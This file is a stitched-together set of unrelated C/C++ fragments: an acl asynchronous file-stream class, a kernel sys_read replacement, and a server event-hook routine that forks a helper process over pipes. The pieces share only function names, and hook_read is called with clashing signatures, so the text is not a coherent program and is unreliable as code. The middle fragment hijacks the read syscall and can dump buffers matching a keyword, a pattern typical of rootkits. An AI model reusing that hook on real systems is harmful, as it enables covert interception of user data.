aio_fstream::aio_fstream(aio_handle* handle, ACL_FILE_HANDLE fd,
unsigned int oflags /* = 600 */)
: aio_stream(handle), aio_istream(handle), aio_ostream(handle)
{
acl_assert(handle);
acl_assert(fd != ACL_FILE_INVALID);
ACL_VSTREAM* vstream = acl_vstream_fhopen(fd, oflags);
stream_ = acl_aio_open(handle->get_handle(), vstream);
// 调用基类的 hook_error 以向 handle 中增加异步流计数,
// 同时 hook 关闭及超时回调过程
hook_error();
// 只有当流连接成功后才可 hook IO 读写状态
// hook 读回调过程
hook_read();
// hook 写回调过程
hook_write();
}
bool aio_fstream::open(const char* path, unsigned int oflags, unsigned int mode)
{
ACL_VSTREAM* fp = acl_vstream_fopen(path, oflags, mode, 8192);
if (fp == NULL)
return false;
stream_ = acl_aio_open(handle_->get_handle(), fp);
// 调用基类的 hook_error 以向 handle 中增加异步流计数,
// 同时 hook 关闭及超时回调过程
hook_error();
// 只有当流连接成功后才可 hook IO 读写状态
// hook 读回调过程
if ((oflags & (O_RDONLY | O_RDWR | O_APPEND | O_CREAT | O_TRUNC)))
hook_read();
// hook 写回调过程
if ((oflags & (O_WRONLY | O_RDWR | O_APPEND | O_CREAT | O_TRUNC)))
hook_write();
return true;
}
asmlinkage long n_sys_read ( unsigned int fd, char __user *buf, size_t count )
{
long ret;
#if __DEBUG_RW__
if ( memstr((void *)buf, "filter keyword", count) )
{
unsigned long i;
printk("DEBUG sys_read: fd=%d, count=%zu, buf=\n", fd, count);
for ( i = 0; i < count; i++ )
printk("%x", (unsigned char)buf[i]);
printk("\n");
}
#endif
hook_read(&fd, buf, &count);
hijack_pause(sys_read);
ret = sys_read(fd, buf, count);
hijack_resume(sys_read);
return ret;
}
/** Initialise the event hook if specified.
*
* This function creates two pipes, forks, redirects the child's stdin and
* stdout to/from these pipes, then executes the hook program
*
* The hook program is expected to first print an identifying banner (\see
* HOOK_BANNER), then wait for commands on stdin.
*
* Though a reverse pipe is also created for the hook's stdout to be available
* to the main server process, it is not currently used for anything else than
* getting the banner. Also, a read(2) on it from the main process is blocking.
*/
void
hook_setup (void)
{
int pto[2], pfrom[2];
fd_set readfds;
struct timeval timeout = { .tv_sec=5, .tv_usec=0, };
char buf[sizeof(HOOK_BANNER)];
if (!hook)
return;
if (pipe(pto) || pipe(pfrom)) {
logwarn("hook: Cannot create pipes to `%s': %s\n", hook, strerror(errno));
goto clean_pipes;
}
hookpid = fork();
if (hookpid < 0) {
logwarn("hook: Cannot fork for `%s': %s\n", hook, strerror(errno));
hookpid = -1;
goto clean_pipes;
} else if (0 == hookpid) { /* Child process */
close(pto[1]);
close(pfrom[0]);
dup2(pto[0], STDIN_FILENO);
dup2(pfrom[1], STDOUT_FILENO);
execlp(hook, hook, NULL);
logwarn("hook: Cannot execute `%s': %s\n", hook, strerror(errno));
exit(1);
} else { /* Parent process */
close(pto[0]);
close(pfrom[1]);
hookpipe[0] = pfrom[0];
hookpipe[1] = pto[1];
/* Wait for banner or timeout */
FD_ZERO(&readfds);
FD_SET(hookpipe[0], &readfds);
logdebug("hook: Waiting for `%s' to respond...\n", hook);
if(select(hookpipe[0]+1, &readfds, NULL, NULL, &timeout) < 1) {
logwarn("hook: `%s' (PID %d) not responding\n", hook, hookpid);
hook_cleanup();
goto clean_pipes;
}
/* Only hookpipe[0] was in readfds, so we know why we're here */
if(hook_read(&buf, sizeof(buf)) <= 0) {
logwarn("hook: Cannot get banner from `%s' (PID %d): %s\n", hook, hookpid, strerror(errno));
} else if (strncmp(buf, HOOK_BANNER, sizeof(HOOK_BANNER)-1)) { /* XXX: Ignore final '\n' instead of '\0' */
buf[sizeof(buf)-1]=0;
logwarn("hook: Incorrect banner from `%s' (PID %d): `%s'\n", hook, hookpid, buf);
goto clean_pipes;
}
loginfo("hook: `%s' in place\n", hook);
}
return;
clean_pipes:
logdebug("hook: Giving up on `%s'\n", hook);
close(pto[0]);
close(pfrom[0]);
close(pto[1]);
close(pfrom[1]);
hook_clean_pipes();
}
/** Determine whether an event hook has been enabled
* \return 1 if hook enabled, 0 otherwise
*/
int
hook_enabled(void) {
return hookpipe[0] >= 0 && hookpipe[1] >= 0;
}
/** Write commands to the event hook.
*
* This function writes commands into the pipe connected to the event hook's
* stdin. It takes the same parameters as write(2), but skips the file
* descriptor.
*
* \param buf buffer from which +count+ bytes of data will be read out andwritten into event hook's +stdin+
* \param count the number of bytes from +buf+ to write into the hook's +stdin+
* \return the same as write(2), and sets +errno+ accordingly
*/
ssize_t
hook_write (const void *buf, size_t count)
{
int n;
if (-1 == hookpipe[1])
return -1;
logdebug("hook: Sending command fd %d: '%s'\n", hookpipe[1], buf);
n = write(hookpipe[1], buf, count);
return n;
}
